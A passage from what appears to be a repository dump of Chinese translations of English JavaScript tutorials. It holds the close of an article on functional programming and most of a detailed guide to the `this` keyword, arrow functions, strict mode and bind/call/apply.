而不必更改其他函数调用的结果\nx2(y);\nx1(y);\n\nconsole.log(x1(x2(y)).val); // 5\n```\n\n在上面的例子中，我们使用 `Object.assign()` 并传入一个空对象作为第一个参数来复制 `x` 的属性，而不是在原数据上进行修改。在之前的示例中，它相当于从零开始创建一个新对象，而不使用 `object.assign()`，但这是 JavaScript 中创建现有状态副本的常见模式，而不是使用突变的常见模式，我们在第一个示例中证明了这一点。\n\n如果仔细观察这个例子中的 `console.log()`语句，你应该会注意到我已经提到的一些东西：组合函数。回想一下前面，组合函数类似这样：`f(g(x))`。在本例中，我们将组合 `x1 . x2` 中的 `f()` 和 `g()` 替换为 `x1()` 和 `x2()`。\n\n当然，如果你改变了组合的顺序，输出结果同样会改变。操作的顺序同样很重要。`f(g(x))` 并不总是和 `g(f(x))` 相同，但不再重要的是函数外的变量发生了什么，这很重要。对于非纯函数，除非你知道函数使用或影响的每个变量的整个历史记录，否则不可能完全理解函数的作用。\n\n移除函数调用计时依赖项，就消除了一整类的潜在 bug。\n\n## 不变性\n\n**不可变**对象是指创建后不能修改的对象。相反，可变对象是在创建后可以修改的对象。\n\n不变性是函数式编程的核心概念，因为没有它，程序中的数据流是有损的。状态历史被抛弃，奇怪的 bug 可能会潜入你的软件。更多关于不变性的意义，请参阅[“不变性之道”](https://medium.com/javascript-scene/the-dao-of-immutability-9f91a70c88cd)。\n\n在 JavaScript 中，重要的是不要混淆 `const` 和不变性。`const` 创建一个变量名绑定，该绑定在创建后不能重新分配。`const` 不创建不可变对象。不能更改绑定所引用的对象，但仍然可以更改对象的属性，这意味着使用 `const` 创建的绑定是可变的，而不是不可变的。\n\n不可变对象根本不能更改。通过深度冻结对象，可以使值真正不可变。JavaScript 有一种方法可以将对象冻结一层：\n\n```JavaScript\nconst a = Object.freeze({\n  foo: 'Hello',\n  bar: 'world',\n  baz: '!'\n});\n\na.foo = 'Goodbye';\n// Error: Cannot assign to read only property 'foo' of object Object\n\n```\n\n但是冻结的对象只是表面上不可变。例如，以下对象是可变的：\n\n```JavaScript\nconst a = Object.freeze({\n  foo: { greeting: 'Hello' },\n  bar: 'world',\n  baz: '!'\n});\n\na.foo.greeting = 'Goodbye';\n\nconsole.log(`${ a.foo.greeting }, ${ a.bar }${a.baz}`);\n```\n\n正如你所看到的，冻结对象的顶层基本属性不能改变，但是里面的任何对象属性（包括数组等）仍然可以改变 —— 所以即使是冻结的对象也不是不可变的，除非你遍历整个对象树并冻结每个对象属性。\n\n在许多函数式编程语言中，有一种特殊的不可变的数据结构称为 **trie 数据结构**（发音同“tree”），它实际上是深度冻结的 —— 这意味着无论属性处于对象层次结构中的哪个层级，都不可以改变。\n\nTries 使用了**共享结构**在不可变对象被复制之后为对象共享引用内存地址，该方法使用较少的内存，并且使得在一些操作下的性能得到提升。\n\n例如，你可以在对象对的根节点进行一致性比较来比较两个对象是否一致。如果一致的话，你就不需要再遍历整个对象树查找差异了。\n\nJavaScript 中有几个库使用到了 tries，包括 [Immutable.js](https://github.com/facebook/immutable-js) 和 [Mori](https://github.com/swannodette/mori)。\n\n我尝试过这两种方法，并且倾向于在需要大量不可变状态的大型项目中使用 Immutable.js。有关更多信息，请参见[“10个更好的Redux架构技巧”](https://medium.com/javascript-scene/10-tips-for-better-redux-architecture-69250425af44)。\n\n## 副作用\n\n副作用是指任何应用程序状态的改变都是可以在被调用函数之外观察到的，除了返回值。副作用包括：\n\n* 修改任何外部变量或对象属性（例如，全局变量或父函数作用域链中的变量）\n* 打印日志到控制台\n* 写入屏幕\n* 写入文件\n* 写入网络\n* 触发任何外部过程\n* 调用其它有副作用的函数\n\n在函数式编程中，通常会避免产生副作用，这使得程序的作用更易于理解和测试。\n\nHaskell 和其他函数语言经常使用 [**monad**](https://en.wikipedia.org/wiki/Monad_(functional_programming)) 从纯函数中分离和封装副作用。有关 monad 的话题的深度足以写一本书来讨论，所以我们以后再谈。\n\n你现在需要知道的是，副作用操作需要与软件的其他部分隔离开来。如果你将副作用与其他的程序逻辑隔离开，你的软件将更容易扩展、重构、调试、测试和维护。\n\n这就是大多数前端框架鼓励用户在单独的、松散耦合的模块中管理状态和组件渲染的原因。\n\n## 通过高阶函数实现可重用性\n\n函数式编程倾向于重用一组通用的函数式实用程序来处理数据。面向对象编程倾向于将方法和数据集中在对象中。这些协作方法只能对它们被设计用于操作的数据类型进行操作，而且通常只能对特定对象实例中包含的数据进行操作。\n\n在函数式编程中，任何类型的数据都是平等的。同一个 `map()` api 可以映射对象、字符串、数字或任何其他数据类型，因为它以一个函数作为参数，该参数适当地处理给定的数据类型。FP 使用了**高阶函数**完成它的通用实用技巧。\n\nJavaScript 中**函数是头等公民**，这些函数允许，它允许我们将函数作为数据 —— 将其赋给变量、传递给其他函数、从函数返回等等。\n\n**高阶函数**是那些函数作为参数、返回值为函数或两者兼有的函数。高阶函数通常用于：\n\n* 使用回调函数、promise、monad 等来抽象或隔离动作、效果或异步流控制。\n* 创建可以作用于多种数据类型的工具程序\n* 将一个函数部分地应用于它的参数，或者创建一个柯里化过的函数，以便重用或组合函数\n* 获取一个函数列表，并返回这些输入函数的一些组合\n\n#### 容器，函子，列表，和流\n\n函子是可以映射的。换句话说，它是一个容器，它有一个接口，可用于将函数应用于其中的值。当你看到函子这个词时，你应该想到“可映射”。\n\n前面我们了解了 `map()` 工具程序可以作用于各种数据类型。它通过提升映射操作来使用函子 API 来实现这一点。`map()` 使用的重要流控制操作利用了该接口。对于 `array.prototype.map()`，容器是一个数组，但是其他数据结构也可以是函子 —— 只要它们提供了映射 API。\n\n让我们看看 `Array.prototype.map()` 如何允许你从映射实用程序中提取数据类型，使 `map()` 可用于任何数据类型。我们将创建一个简单的 `double()` 映射，它将传入的任何值乘以 2：\n\n```JavaScript\nconst double = n => n * 2;\nconst doubleMap = numbers => numbers.map(double);\nconsole.log(doubleMap([2, 3, 4])); // [ 4, 6, 8 ]\n```\n\n如果我们想要在游戏中对目标进行操作以使他们所获得的点数翻倍该怎么办？我们所要做的就是对 `double()` 函数做一些细微的修改，然后将其传递给 `map()`，这样一切仍然可以正常工作:\n\n```JavaScript\nconst double = n => n.points * 2;\n\nconst doubleMap = numbers => numbers.map(double);\n\nconsole.log(doubleMap([\n  { name: 'ball', points: 2 },\n  { name: 'coin', points: 3 },\n  { name: 'candy', points: 4}\n])); // [ 4, 6, 8 ]\n```\n\n为了使用通用实用函数来操作任意数量的不同数据类型，需要使用像函子和高阶函数这样的抽象，这个概念是很重要的。你将看到一个类似的概念以[各种不同的方式应用](https://github.com/fantasyland/fantasy-land)。\n\n> # “随着时间推移表示的列表是一个流。”\n\n现在你需要了解的是，数组和函子并不是容器和容器中的值这一概念应用的唯一方式。例如，数组只是事物的列表。随着时间的推移，一个列表是一个流，因此你可以使用相同类型的实用程序来处理传入事件的流 —— 当你开始用 FP 构建真正的软件时，你会看到很多这种情况。\n\n## 声明式 vs 命令式\n\n函数式编程是一种声明性的范式，这意味着程序逻辑的表达没有显式地描述流控制。\n\n**命令式**程序花费几行代码来描述用于实现预期结果的特定步骤 —— **流控制：如何**做事情。\n\n**声明性**程序抽象了流控制过程，花费几行代码来描述**数据流：应该做什么**。**如何**被抽象出来。\n\n例如，这个**命令式**映射接受一个数字数组，并返回一个新数组，其中每个数字都被乘以2：\n\n```JavaScript\nconst doubleMap = numbers => {  \n  const doubled = [];\n  for (let i = 0; i < numbers.length; i++) {\n    doubled.push(numbers[i] * 2);\n  }\n  return doubled;\n};\n\nconsole.log(doubleMap([2, 3, 4])); // [4, 6, 8]\n```\n\n这个**声明式**映射也做了同样的事情，但是使用`Array.prototype.map()`函数式实用程序将流控件抽象出来，它允许你更清楚地表示数据流：\n\n```JavaScript\nconst doubleMap = numbers => numbers.map(n => n * 2);\n\nconsole.log(doubleMap([2, 3, 4])); // [4, 6, 8]\n```\n\n**命令式**代码经常使用语句。**语句**是执行某些操作的一段代码。常用的语句包括 `for`、`if`、`switch`、`throw` 等。\n\n**声明式**代码更多地依赖于表达式。**表达式**是计算某个值的一段代码。表达式通常是函数调用、值和运算符的组合，它们被用于计算出结果。\n\n下面是表达式的一些例子：\n\n```\n2 * 2\ndoubleMap([2, 3, 4])\nMath.max(4, 3, 2)\n```\n\n通常在代码中，你会看到表达式被分配给标识符、从函数返回或传递到函数中。在被分配、返回或传递之前，表达式会先进行计算，实际使用的是其结果值。\n\n## 总结\n\n函数式编程倾向于：\n\n* 纯函数而不是状态共享或副作用\n* 不变性而不是可变的数据\n* 组合函数而不是命令式流控制\n* 大量通用的、可重用的实用程序，它们使用高阶函数来处理多种数据类型，而不是仅对位于同一位置的数据进行操作的方法\n* 声明式代码而不是命令式代码（做什么而不是怎么做）\n* 表达式而不是语句\n* 容器和高阶函数而不是多态\n\n## 作业\n\n学习和练习这些函数式数组的核心功能：\n\n* `.map()`\n* `.filter()`\n* `.reduce()`\n\n#### 探索《掌握 JavaScript 面试》系列文章\n\n* [闭包是什么？](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36#.ecfskj935)\n* [类和原型继承之间的区别是什么](https://medium.com/javascript-scene/master-the-javascript-interview-what-s-the-difference-between-class-prototypal-inheritance-e4cd0a7562e9#.h96dymht1)\n* [纯函数是什么？](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976#.4256pjcfq)\n* [组合函数是什么？](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0#.i84zm53fb)\n* [函数式编程是什么？](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0#.jddz30xy3)\n* [Promise 是什么？](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-promise-27fc71e77261#.aa7ubggsy)\n* [软技能](https://medium.com/javascript-scene/master-the-javascript-interview-soft-skills-a8a5fb02c466)\n\n> This post was included in the book “Composing Software”.**[\nBuy the Book](https://leanpub.com/composingsoftware) | [Index](https://medium.com/javascript-scene/composing-software-the-book-f31c77fc3ddc) | [\\< Previous](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976) | [Next >](https://medium.com/javascript-scene/a-functional-programmers-introduction-to-javascript-composing-software-d670d14ede30)**\n\n---\n\n**Eric Elliott** 是一名分布式系统专家，并且是 [《组合软件》](https://leanpub.com/composingsoftware)和[《编写 JavaScript 程序》](https://ericelliottjs.com/product/programming-javascript-applications-ebook/)这两本书的作者。作为 [EricElliottJS.com](https://ericelliottjs.com) 和 [DevAnywhere.io](https://devanywhere.io/) 的联合创始人，他教开发人员远程工作和实现工作以及生活平衡所需的技能。他创建了加密项目的开发团队，并为他们提供建议。他还在软件体验上为 **Adobe 系统、Zumba Fitness、华尔街日报、ESPN、BBC** 以及包括 **Usher、Frank Ocean、Metallica** 等在内的顶级唱片艺术家做出了贡献。\n\n**他和世界上最漂亮的女人一起享受着远程（工作）的生活方式。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/mastering-javascript-this-keyword-detailed-guide.md",
    "content": "> * 原文地址：[Mastering JavaScript this Keyword – Detailed Guide](https://www.thecodingdelight.com/javascript-this/#ftoc-heading-2)\n> * 原文作者：[Jay](https://www.thecodingdelight.com/author/ljay189/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/mastering-javascript-this-keyword-detailed-guide.md](https://github.com/xitu/gold-miner/blob/master/TODO1/mastering-javascript-this-keyword-detailed-guide.md)\n> * 译者：[老教授](https://juejin.im/user/58ff449a61ff4b00667a745c)\n> * 校对者：[allen](https://github.com/allenlongbaobao)、[dz](https://github.com/dazhi1011)\n\n# 深入浅出 JavaScript 关键词 -- this\n\n要说 JavaScript 这门语言最容易让人困惑的知识点，`this` 关键词肯定算一个。JavaScript 语言面世多年，一直在进化完善，现在在服务器上还可以通过 node.js 来跑 JavaScript。显然，这门语言还会活很久。\n\n所以说，我一直相信，如果你是一个 JavaScript 开发者或者说 Web 开发者，学好 JavaScript 的运作原理以及语言特点肯定对你以后大有好处。\n\n## 开始之前\n\n在开始正文之前，我强烈推荐你先掌握好下面的知识：\n\n*   [变量作用域和作用域提升](https://www.thecodingdelight.com/variable-scope-hoisting-javascript/)\n*   [JavaScript 的函数](https://www.codecademy.com/courses/functions-in-javascript-2-0/0/1)\n*   [闭包](https://medium.com/dailyjs/i-never-understood-javascript-closures-9663703368e8)\n\n如果没有对这些基础知识掌握踏实，直接讨论 JavaScript 的 `this` 关键词只会让你感到更加地困惑和挫败。\n\n## 我为什么要学 `this`？\n\n如果上面的简单介绍没有说服你来深入探索 `this` 关键词，那我用这节来讲讲为什么要学。\n\n考虑这样一个重要问题，假设开发者，比如 Douglas Crockford （译者注：JavaScript 领域必知牛人），不再使用 `new` 和 `this`，转而使用完完全全的函数式写法来做代码复用，会怎样？\n\n事实上，基于 JavaScript 内置的现成的[原型继承](https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Inheritance)功能，我们已经使用并且将继续广泛使用 `new` 和 `this` 关键词来实现代码复用。\n\n理由一，如果只能使用自己写过的代码，你是没法工作的。现有的代码以及你读到这句话时别人正在写的代码都很有可能包含 `this` 关键词。那么学习怎么用好它是不是很有用呢？\n\n因此，即使你不打算在你的代码库中使用它，深入掌握 `this` 的原理也能让你在接手别人的代码理解其逻辑时事半功倍。\n\n理由二，**拓展你的编码视野和技能**。使用不同的设计模式会加深你对代码的理解，怎么去看、怎么去读、怎么去写、怎么去理解。我们写代码不仅是给机器去解析，还是写给我们自己看的。这不仅适用于 JavaScript，对其他编程语言亦是如此。\n\n> 随着对编程理念的逐步深入理解，它会逐渐塑造你的编码风格，不管你用的是什么语言什么框架。\n\n就像毕加索会为了获得灵感而涉足那些他并不是很赞同很感兴趣的领域，学习 this 会拓展你的知识，加深对代码的理解。\n\n## 什么是 `this` ？\n\n[![JavaScript this 指向](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2018/03/JavaScript-this-call-context.jpg)](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2018/03/JavaScript-this-call-context.jpg)\n\n在我开始讲解前，如果你学过一门基于类的面向对象编程语言（比如 C#，Java，C++），那请将你对 `this` 这个关键词应该是做什么用的先入为主的概念扔到垃圾桶里。JavaScript 的 `this` 关键词是很不一样，因为 JavaScript 本来就不是一门基于类的[面向对象编程语言](https://en.wikipedia.org/wiki/Class-based_programming)。\n\n虽说 ES6 里面 JavaScript 提供了类这个特性给我们用，但它只是一个[语法糖](https://www.quora.com/What-is-syntactic-sugar-in-programming-languages)，一个基于原型继承的语法糖。\n\n**`this` 就是一个指针，指向我们调用函数的对象。**\n\n我难以强调上一句话有多重要。请记住，在 Class 添加到 ES6 之前，JavaScript 中没有 Class 这种东西。[Class](http://2ality.com/2015/02/es6-classes-final.html) 只不过是一个将对象串在一起表现得像类继承一样的语法糖，以一种我们已经习惯的写法。所有的魔法背后都是用原型链编织起来的。\n\n如果上面的话不好理解，那你可以这样想，this 的上下文跟英语句子的表达很相似。比如下面的例子\n\n`Bob.callPerson(John);`\n\n就可以用英语写成 “Bob called a person named John”。由于 `callPerson()` 是 Bob 发起的，那 `this` 就指向 Bob。我们将在下面的章节深入更多的细节。到了这篇文章结束时，你会对 `this` 关键词有更好的理解（和信心）。\n\n## 执行上下文\n\n> **执行上下文** 是语言规范中的一个概念，用通俗的话讲，大致等同于函数的执行“环境”。具体的有：变量作用域（和 _作用域链条_，闭包里面来自外部作用域的变量），函数参数，以及 `this` 对象的值。\n> \n> 引自: [Stackoverflow.com](https://stackoverflow.com/questions/9384758/what-is-the-execution-context-in-javascript-exactly)\n\n记住，现在起，我们专注于查明 `this` 关键词到底指向哪。因此，我们现在要思考的就一个问题：\n\n*   是什么调用函数？是哪个对象调用了函数？\n\n为了理解这个关键概念，我们来测一下下面的代码。\n\n```\nvar person = {\n    name: \"Jay\",\n    greet: function() {\n        console.log(\"hello, \" + this.name);\n    }\n};\nperson.greet();\n```\n\n谁调用了 _greet 函数_？是 `person` 这个对象对吧？在 `greet()` 调用的左边是一个 person 对象，那么 this 关键词就指向 `person`，`this.name` 就等于 `\"Jay\"`。现在，还是用上面的例子，我加点料：\n\n```\nvar greet = person.greet; // 将函数引用存起来;\ngreet(); // 调用函数\n```\n\n你觉得在这种情况下控制台会输出什么？“Jay”？`undefined`？还是别的？\n\n正确答案是 `undefined`。如果你对这个结果感到惊讶，不必惭愧。你即将学习的东西将帮助你在 JavaScript 旅程中打开关键的大门。\n\n> `this` 的值并不是由函数定义放在哪个对象里面决定，而是函数执行时由谁来唤起决定。\n\n对于这个意外的结果我们暂且压下，继续看下去。（感觉前后衔接得不够流畅）\n\n带着这个困惑，我们接着测试下 `this` **三种**不同的定义方式。\n\n## 找出 `this` 的指向\n\n上一节我们已经对 `this` 做了测试。但是这块知识实在重要，我们需要再好好琢磨一下。在此之前，我想用下面的代码给你出个题：\n\n```\nvar name = \"Jay Global\";\nvar person = {\n    name: 'Jay Person',\n    details: {\n        name: 'Jay Details',\n        print: function() {\n            return this.name;\n        }\n    },\n    print: function() {\n        return this.name;\n    }\n};\nconsole.log(person.details.print());  // ?\nconsole.log(person.print());          // ?\nvar name1 = person.print;\nvar name2 = person.details;\nconsole.log(name1()); // ?\nconsole.log(name2.print()) // ?\n```\n\n`console.log()` 将会输出什么，把你的答案写下来。如果你还想不清楚，复习下上一节。\n\n准备好了吗？放松心情，我们来看下面的答案。\n\n### 答案和解析\n\n##### person.details.print()\n\n首先，谁调用了 print 函数？在 JavaScript 中我们都是从左读到右。于是 this 指向 `details` 而不是 `person`。这是一个很重要的区别，如果你对这个感到陌生，那赶紧把它记下。\n\n`print` 作为 `details` 对象的一个 key，指向一个返回 `this.name` 的函数。既然我们已经找出 this 指向 details ，那函数的输出就应该是 `'Jay Details'`。\n\n##### person.print()\n\n再来一次，找出 `this` 的指向。`print()` 是被 `person` 对象调用的，没错吧？\n\n在这种情况，`person` 里的 `print` 函数返回 `this.name`。`this` 现在指向 `person` 了，那 `'Jay Person'` 就是返回值。\n\n##### console.log(name1)\n\n这一题就有点狡猾了。在上一行有这样一句代码：\n\n```\nvar name1 = person.print;\n```\n\n如果你是通过这句来思考的，我不会怪你。很遗憾，这样去想是错的。要记住，`this` 关键词是在函数调用时才做绑定的。`name1()` 前面是什么？什么都没有。因此 `this` 关键词就将指向全局的 `window` 对象去。\n\n因此，答案是 `'Jay Global'`。\n\n##### name2.print()\n\n看一下 `name2` 指向哪个对象，是 `details` 对象没错吧？\n\n所以下面这句会打印出什么呢？如果到目前为止的所有小点你都理解了，那这里稍微思考下你就自然有答案了。\n\n```\nconsole.log(name2.print()) // ??\n```\n\n答案是 `'Jay Details'`，因为 `print` 是 `name2` 调起的，而 `name2` 指向 `details`。\n\n### 词法作用域\n\n你可能会问：“**什么是词法作用域？**”\n\n逗我呢，我们不是在探讨 `this` 关键词吗，这个又是哪里冒出来的？好吧，当我们用起 ES6 的箭头函数，这个就要考虑了。如果你已经写了不止一年的 JavaScript，那你很可能已经碰到箭头函数。随着 ES6 逐渐成为现实标准，箭头函数也变得越来越常用。\n\n[JavaScript 的词法作用域](https://toddmotto.com/everything-you-wanted-to-know-about-javascript-scope/#lexical-scope) 并不好懂。如果你 [理解闭包](https://www.thecodingdelight.com/javascript-closure/)，那要理解这个概念就容易多了。来看下下面的小段代码。 \n\n```\n// outerFn 的词法作用域\nvar outerFn = function() {\n    var n = 5;\n    console.log(innerItem);\n    // innerFn 的词法作用域\n    var innerFn = function() {  \n        var innerItem = \"inner\";    // 错了。只能坐着电梯向上，不能向下。\n        console.log(n);\n    };\n    return innerFn;\n};\nouterFn()();\n```\n\n想象一下一栋楼里面有一架只能向上走的诡异电梯。\n\n[![JavaScript 的词法作用域就像楼里的一架只能向上走的诡异电梯](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2018/03/JavaScript-lexical-scope-building.jpg)](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2018/03/JavaScript-lexical-scope-building.jpg)\n\n建筑的顶层就是全局 windows 对象。如果你现在在一楼，你就可以看到并访问那些放在楼上的东西，比如放在二楼的 `outerFn` 和放在三楼的 `window` 对象。\n\n这就是为什么我们执行代码 `outerFn()()`，它在控制台打出了 5 而不是 `undefined`。\n\n然而，当我们试着在 `outerFn` 词法作用域下打出日志 `innerItem`，我们遇到了下面的报错。请记住，JavaScript 的词法作用域就好像建筑里面那个只能向上走的诡异电梯。由于 outerFn 的词法作用域在 innerFn 上面，所以它不能向下走到 innerFn 的词法作用域里面并拿到里面的值。这就是触发下面报错的原因：\n\n```\ntest.html:304 Uncaught ReferenceError: innerItem is not defined\nat outerFn (test.html:304)\nat test.html:313\n```\n\n### `this` 和箭头函数\n\n在 [ES6](http://es6-features.org/#ExpressionBodies) 里面，不管你喜欢与否，[箭头函数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions)被引入了进来。对于那些还没用惯箭头函数或者新学 JavaScript 的人来说，当箭头函数和 `this` 关键词混合使用时会发生什么，这个点可能会给你带来小小的困惑和淡淡的忧伤。那这个小节就是为你们准备的！\n\n> 当涉及到 `this` 关键词，**箭头函数** 和 **普通函数** 主要的不同是什么？\n\n**答案：**\n\n> 箭头函数按**词法作用域**来绑定它的上下文，所以 `this` 实际上会引用到原来的上下文。\n> \n> 引自：[hackernoon.com](https://hackernoon.com/javascript-es6-arrow-functions-and-lexical-this-f2a3e2a5e8c4)\n\n我实在没法给出比这个更好的总结。\n\n箭头函数保持它当前执行上下文的[词法作用域](https://stackoverflow.com/questions/1047454/what-is-lexical-scope)不变，而普通函数则不会。换句话说，箭头函数从包含它的词法作用域中继承到了 `this` 的值。\n\n我们不妨来测试一些代码片段，确保你真的理解了。想清楚这块知识点未来会让你少点头痛，因为你会发现 `this` 关键词和箭头函数太经常一起用了。\n\n### 示例\n\n仔细阅读下面的代码片段。\n\n```\nvar object = {\n    data: [1,2,3],\n    dataDouble: [1,2,3],\n    double: function() {\n        console.log(\"this inside of outerFn double()\");\n        console.log(this);\n        return this.data.map(function(item) {\n            console.log(this);      // 这里的 this 是什么？？\n            return item * 2;\n        });\n    },\n    doubleArrow: function() {\n        console.log(\"this inside of outerFn doubleArrow()\");\n        console.log(this);\n        return this.dataDouble.map(item => {\n            console.log(this);      // 这里的 this 是什么？？\n            return item * 2;\n        });\n    }\n};\nobject.double();\nobject.doubleArrow();\n```\n\n如果我们看执行上下文，那这两个函数都是被 `object` 调用的。所以，就此断定这两个函数里面的 this 都指向 `object` 不为过吧？是的，但我建议你拷贝这段代码然后自己测一下。\n\n这里有个大问题：\n\n> `arrow()` 和 `doubleArrow()` 里面的 `map` 函数里面的 `this` 又指向哪里呢？\n\n[![this 和箭头函数](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2018/03/this-and-arrow-function.jpg)](https://personalzone-hulgokm2zfcmm9u.netdna-ssl.com/wp-content/uploads/2018/03/this-and-arrow-function.jpg)\n\n上一张图已经给了一个大大的提示。如果你还不确定，那请花5分钟将我们上一节讨论的内容再好好想想。然后，根据你的理解，在实际执行代码前把你认为的 this 应该指向哪里写下来。在下一节我们将会回答这个问题。\n\n### 回顾执行上下文\n\n这个标题已经把答案泄露出来了。在你看不到的地方，map 函数对调用它的数组进行遍历，将数组的每一项传到回调函数里面并把执行结果返回。如果你对 JavaScript 的 map 函数不太了解或有所好奇，可以读读[这个](https://www.thecodingdelight.com/functional-programming-javascript-map/)了解更多。\n\n总之，由于 `map()` 是被 `this.data` 调起的，于是 this 将指向那个存储在 `data` 这个 key 里面的数组，即 `[1,2,3]`。同样的逻辑，`this.dataDouble` 应该指向另一个数组，值为 `[1,2,3]`。\n\n现在，如果函数是 `object` 调用的，我们已经确定 this 指向 `object` 对吧？好，那来看看下面的代码片段。\n\n```\ndouble: function() {\n    return this.data.map(function(item) {\n        console.log(this);      // 这里的 this 是什么？？\n        return item * 2;\n    });\n}\n```\n\n这里有个很有迷惑性的问题：传给 `map()` 的那个[匿名函数](https://en.wikibooks.org/wiki/JavaScript/Anonymous_functions)是谁调用的？答案是：这里没有一个对象是。为了看得更明白，这里给出一个 `map` 函数的基本实现。\n\n```\n// Array.map polyfill\nif (Array.prototype.map === undefined) {\n    Array.prototype.map = function(fn) {\n        var rv = [];\n        for(var i=0, l=this.length; i<l; i++)\n            rv.push(fn(this[i]));\n        return rv;\n    };\n}\n```\n\n`fn(this[i]));` 前面有什么对象吗？没。因此，`this` 关键词指向全局的 windows 对象。那，为什么 `this.dataDouble.map` 使用了箭头函数会使得 this 指向 `object` 呢？\n\n我想再说一遍这句话，因为它实在很重要：\n\n> 箭头函数按词法作用域将它的上下文绑定到 <span style=\"text-decoration: underline;\">**原来的上下文**</span>\n\n现在，你可能会问：原来的上下文是什么？问得好！\n\n谁是 `doubleArrow()` 的初始调用者？就是 `object` 对吧？那它就是原来的上下文 🙂\n\n## this 和 `use strict`\n\n为了让 JavaScript 更加健壮及尽量减少人为出错，ES5 引进了[严格模式](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/dev-guides/hh673540(v=vs.85))。一个典型的例子就是 this 在严格模式下的表现。你如果想按照严格模式来写代码，你只需要在你正在写的代码的作用域最顶端加上这么一行 `\"use strict;\"`。\n\n记住，传统的 JavaScript 只有函数作用域，没有块作用域。举个例子：\n\n```\nfunction strict() {\n    // 函数级严格模式写法\n    'use strict';\n    function nested() { return 'And so am I!'; }\n    return \"Hi!  I'm a strict mode function!  \" + nested();\n}\nfunction notStrict() { return \"I'm not strict.\"; }\n```\n\n代码片段来自 [Mozilla Developer Network](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode)。\n\n不过呢，ES6 里面通过 [let 关键词](https://www.thecodingdelight.com/javascript-es6-best-parts/#ftoc-heading-7)提供了块作用域的特性。\n\n现在，来看一段简单代码，看下 this 在严格模式和非严格模式下会怎么表现。在继续之前，请将下面的代码运行一下。\n\n```\n(function() {\n    \"use strict\";\n    console.log(this);\n})();\n(function() {\n    // 不使用严格模式\n    console.log(this);\n})();\n```\n\n正如你看到的，`this` 在严格模式下指向 `undefined`。相对的，非严格模式下 `this` 指向全局变量 `window`。大部分情况下，开发者使用 this ，并不希望它指向全局 window 对象。严格模式帮我们在使用 `this` 关键词时，尽量少做搬起石头砸自己脚的蠢事。\n\n举个例子，如果全局的 window 对象刚好有一个 key 的名字和你希望访问到的对象的 key 相同，会怎样？上代码吧：\n\n```\n(function() {\n    // \"use strict\";\n    var item = {\n        document: \"My document\",\n        getDoc: function() {\n            return this.document;\n        }\n    }\n    var getDoc = item.getDoc;\n    console.log(getDoc());\n})();\n```\n\n这段代码有两个问题。\n\n1.  `this` 将不会指向 `item`。\n2.  如果程序在非严格模式下运行，将不会有错误抛出，因为全局的 `window` 对象也有一个名为 `document` 的属性。\n\n在这个简单示例中，因为代码较短也就不会形成大问题。\n\n如果你是在生产环境像上面那样写，当用到 `getDoc` 返回的数据时，你将收获一堆难以定位的报错。如果你代码库比较大，对象间互动比较多，那问题就更严重了。\n\n值得庆幸的是，如果我们是在严格模式下跑这段代码，由于 this 是 `undefined`，于是立刻就有一个报错抛给我们：\n\n> `test.html:312 Uncaught TypeError: Cannot read property 'document' of undefined`\n> `at getDoc (test.html:312)`\n> `at test.html:316`\n> `at test.html:317`\n\n## 明确设置执行上下文\n\n先前假定大家都对执行上下文不熟，于是我们聊了很多关于执行上下文和 this 的知识。\n\n让人欢喜让人忧的是，在 JavaScript 中通过使用内置的特性开发者就可以直接操作**执行上下文**了。这些特性包括：\n\n*   [bind()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind)：不需要执行函数就可以将 `this` 的值准确设置到你选择的一个对象上。还可以通过逗号隔开传递多个参数，如 `func.bind(this, param1, param2, ...)` 。\n*   [apply()](https://www.w3schools.com/js/js_function_apply.asp)：将 `this` 的值准确设置到你选择的一个对象上。第二个参数是一个数组，数组的每一项是你希望传递给函数的参数。最后，**执行函数**。\n*   [call()](https://docs.microsoft.com/en-us/scripting/javascript/reference/call-method-function-javascript)：将 `this` 的值准确设置到你选择的一个对象上，然后想 `bind` 一样通过逗号分隔传递多个参数给函数。如：`print.call(this, param1, param2, ...)`。最后，**执行函数**。\n\n上面提到的所有内置函数都有一个共同点，就是它们都是用来将 `this` 关键词指向到其他地方。这些特性可以让我们玩一些骚操作。只是呢，这个话题太广了都够写好几篇文章了，所以简洁起见，这篇文章我不打算展开它的实际应用。\n\n**重点**：上面那三个函数，只有 `bind()` 在设置好 `this` 